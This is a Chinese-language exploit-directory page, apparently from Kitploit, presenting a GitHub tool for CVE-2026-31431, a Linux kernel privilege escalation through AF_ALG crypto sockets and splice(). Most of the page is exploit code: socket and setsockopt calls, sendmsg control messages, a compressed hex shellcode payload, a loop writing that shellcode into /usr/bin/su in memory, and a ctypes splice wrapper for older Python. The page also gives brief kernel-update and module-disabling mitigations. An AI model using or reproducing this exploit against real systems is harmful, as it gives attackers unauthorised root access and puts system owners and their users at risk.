Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/juanbindez/cve-2026-31431
权限提升内存取证漏洞分析漏洞利用ShellcodePayload 开发二进制利用
GitHubjuanbindez/cve-2026-31431

CVE-2026-31431

复制失败 - CVE-2026-31431

查看仓库
17563个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-31431


复制失败 - CVE-2026-31431 详情

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://copy.fail/#exploit

https://xint.io/blog/copy-fail-linux-distributions


测试发行版 / 版本

发行版版本
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

漏洞利用运行

root@kitploit:~
main.py

命令 ID

root@kitploit:~
id

如果出现类似内容,则表示您已获得 root 权限。

image

修复只需几分钟。

选项 1:更新内核(推荐)

root@kitploit:~
For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update

然后重启服务器。

选项 2:禁用受影响的模块(临时修复)

如果现在无法更新,请禁用易受攻击的模块以减少暴露:

root@kitploit:~
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

这不会影响 SSH、TLS、LUKS 或 OpenSSL。


攻击技术:CVE 式(Crypto API + splice)

这似乎利用了 Linux 内核 AF_ALG 加密子系统中的一个漏洞,结合 splice()/sendmsg() 的错误使用,以实现:

  • 泄漏内核指针
  • 破坏进程 task_struct
  • 将 UID 提升为 0(root)

1. AF_ALG 套接字使用 (38)

root@kitploit:~
a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
  • 在内核中创建加密套接字
  • 配置 AES-CBC + HMAC-SHA256 密码
  • 实际目的:与内部内核 API 交互

2. 模糊的 setsockopt (h=279)

root@kitploit:~
v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)
  • 279 = ALG_SET_KEY(设置加密密钥)
  • 利用 ALG 子系统的未公开选项
  • 密钥 '0800010000000010' + 零——可能是漏洞触发条件

3. 主要攻击技术

root@kitploit:~
u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)
  • 使用辅助数据(控制消息)发送 sendmsg
  • 'i'(计数器)每次迭代创建可变大小
  • 目标:堆喷射和内核内存损坏

4. 管道间的 splice()

root@kitploit:~
r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket

零拷贝数据传输:

root@kitploit:~
/usr/bin/su (file) → pipe → crypto socket

splice 避免了用户→内核拷贝 → 完全在内核空间操作

5. 解压后的 Payload

Hex data:

root@kitploit:~
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

以 78da 开头 → zlib 头部

解压内容可能包括:

root@kitploit:~
Shellcode(机器码)  
x86_64 提权指令  

6. 将 Payload 写入 su

root@kitploit:~
while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su

在内存中破坏 /usr/bin/su(而非磁盘)

Shellcode 在执行时注入 su 进程

7. 最终执行

root@kitploit:~
g.system("su")

[!NOTE] 如果目标操作系统 Python 版本低于 3.10,请使用以下代码使其工作,但首先确保检查系统调用可用性

root@kitploit:~
python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY

将此代码片段添加到 PAYLOAD_COMPRESSED 部分下:

root@kitploit:~
_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret

执行 su(切换用户)——现在带有被破坏的 payload

修改后的 su 无需密码即可返回 root

下载工具